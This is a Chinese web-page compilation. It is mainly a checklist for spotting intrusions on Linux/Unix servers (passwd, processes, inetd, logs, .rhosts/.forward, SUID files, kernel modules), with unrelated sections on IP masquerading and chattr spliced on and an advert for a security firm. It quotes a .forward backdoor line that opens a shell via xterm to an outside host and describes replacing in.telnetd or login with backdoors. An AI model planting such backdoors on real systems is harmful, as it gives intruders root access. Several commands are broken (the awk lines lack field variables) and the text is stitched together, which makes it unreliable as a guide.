Linux服务器是否被攻击怎么判断

Linux服务器是否被攻击怎么判断,第1张

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’==0 {print }’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length()==0 {print }’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

IP伪装,是Linux系统的一种网络功能,如果一台Linux主机使用IP伪装功能连接到互联网上,那么其他计算机,不论是在同一个局域网上还是通过调制解调器连接,只要连接到这个Linux主机上,就可以与国际互联网相连,即使它们没有获得正式指定的IP地址。这样就可以将一些计算机隐藏在网关后面连接互联网,而不被发现,看起来就像只有一台Linux系统主机与互联网相连。它允许用户扩展IP地址,允许没有注册IP地址的计算机经由Linux主机连接到互联网上。由于可以多人使用一条调制解调器(或网卡)连线来接入互联网,因此降低了上网费用,同时也增加了安全性。从某些方面来看,其功能像是一个防火墙,因为外界网络无法连接非正式分配的IP地址。而其安全功能比数据包过滤式防火墙要强。随着IP地址的减少,IP伪装在网络上的应用会越来越广泛。

IP伪装仍处于实验阶段

IP伪装仍然处于实验阶段。但Linux的核心从1.3.x开始已经建立此功能支持。许多个人甚至公司正在使用它,并且获得了满意的效果。现在Linux的核心已经升级到2.2.x,这项技术已趋近完善,但仍在发展中。浏览网页及远端登录(telnet)已经可以在IP伪装上运行,文件传输(FTP)、网络交谈(IRC)及聆听Real Audio可以载入一些相应的模块配合,其它的网络资料控制流(streaming audio),如True Speech及Internet wave也能运行。Ping配合最近可以获得的国际互联网络控制信息协议(ICMP)的升级文件后也能正常运行。

IP伪装支持多种客户端平台

IP伪装在多种不同的 *** 作系统及平台上与客户端机器配合良好,目前,已测试通过的利用IP伪装运行的客户端平台有:Linux,Solaris,Windows 95/98,Windows NT,Windows for Workgroup 3.11(含有TCP/IP包),Windows 3.1(含有Chameleon包),Novel 5.0 Server,OS/2(包括Warp v3),Macintosh OS(含有Mac TCP或Open Transport),DOS(包含NCSA Telnet包),SCO Openserver。从理论上讲,只要 *** 作系统支持TCP/IP或WinSock标准协议,都可以与IP伪装配合使用。

组建网络的硬件/软件配置

用Linux组建一个网络网关是最核心的部分,它是一台普通的计算机,装有Linux *** 作系统,配有两块网卡。一块网卡通过合法的IP地址与Internet连接,另一块网卡连接用于放大数字信号的集线器Hub,Hub可连接由若干台计算机所组成的网络。网络中的计算机不使用合法的IP地址,而使用Internet标准文件RFC1597规定的、公开供用户使用的3个IP地址空间内的IP地址,它们分别是:

A类地址 10.0.0.0~10.255.255.255

B类地址 172.16.0.0~172.31.255.255

C类地址 192.168.0.0~192.168.255.255

用户可根据自己网络中的机器数目选用合理的地址范围。

网关除了开启Linux中的IP伪装来实现网络与Internet的互联外,还开启动态主机配置协议分配DHCPd的功能和WWW代理服务器功能。DHCPd可以自动给网络中的计算机指定IP地址、子网掩码、网关等信息,克服了人工配置TCP/IP的限制,给网络的管理带来了极大的便利。通常WWW代理服务器都设置一个较大的硬盘缓冲区,当有外界的信息通过时,同时也将其保存到缓冲区中,当其他用户再访问相同的信息时,则直接由缓冲区中取出信息传给用户,来提高访问速度。WWW代理服务器功能由Apache软件实现,Apache是Internet上很优秀的代理服务器软件,它有模块化的设计、工作性能稳定、运行速度快等优点。

网络实现的步骤

1)开启IP伪装功能;

2)调试网卡;

3)开启DHCPd功能;

4)安装WWW代理服务器Apache软件;

5)配置网络中的其它计算机,这些计算机可以使用不同的 *** 作系统,如:Windows95/98、Windows NT、UNIX、Novell,根据所使用 *** 作系统的不同进行不同的配置;

6)配置Linux网关的IP转送(Forwarding)方式;

7)测试IP伪装。

如果测试成功,就代表网络已经建成了。

要实现Linux下的文件隐藏是很麻烦的,郁闷阿!下面的方法不一定可用,你还是用点吧。

大部分属性在文件系统的安全管理方面起很重要的作用。关于以上属性的详细描述请兄弟们查阅chattr的在线帮助man,注意多数属性须要由root来施加。

通过chattr设置档案的隐藏权限!

[root]#chattr --help

Usage: chattr [-RV] [-+=AacDdijsSu] [-v version] files...

参数或选项描述:

-R:递归处理,将指定目录下的所有文件及子目录一并处理。

-V:显示详细过程有版本编号。

-v:设定文件或目录版本(version)。

+ :在原有参数设定基础上,追加参数。

- :在原有参数设定基础上,移除参数。

= :更新为指定参数设定。

A:文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。

S:硬盘I/O同步选项,功能类似sync。

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文 件安全,只有root才能设定这个属性。

c:即compresse,设定文件是否经压缩后再存储。读取时需要经过自动解压 *** 作。

d:即no dump,设定文件不能成为dump程序的备份目标。

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文件系统,文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。

s:保密性地删除文件或目录,即硬盘空间被全部收回。

u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion.

各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。我们来举一个例子:

[root]#touch chattr_test

[root]#chattr +i chattr_test

[root]#rm chattr_test

rm: remove write-protected regular empty file `chattr_test`? y

rm: cannot remove `chattr_test`: Operation not permitted

呵,此时连root本身都不能直接进行删除 *** 作,必须先去除i设置后再删除。

chattr命令的在线帮助详细描述了各参数选项的适用范围及bug提示,使用时建议兄弟们仔细查阅。由于上述的这些属性是隐藏的,查看时需要使用lsattr命令,以下简述之。

lsattr命令格式:

[root]#lsattr [-RVadlv] [files...]

参数或选项说明:

-R:递归列示目录及文件属性。

-V:显示程序版本号。

-a:显示所有文件属性,包括隐藏文件(.)、当时目录(./)及上层目录(../)。

-d:仅列示目录属性。

-l:(此参数目前没有任何作用)。

-v:显示文件或目录版本。

例:

[root]#chattr +aij lsattr_test

[root]#lsattr

----ia---j--- ./lsattr_test

参考资料:我想知道网


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/7203296.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-02
下一篇 2023-04-02

发表评论

登录后才能评论

评论列表(0条)

保存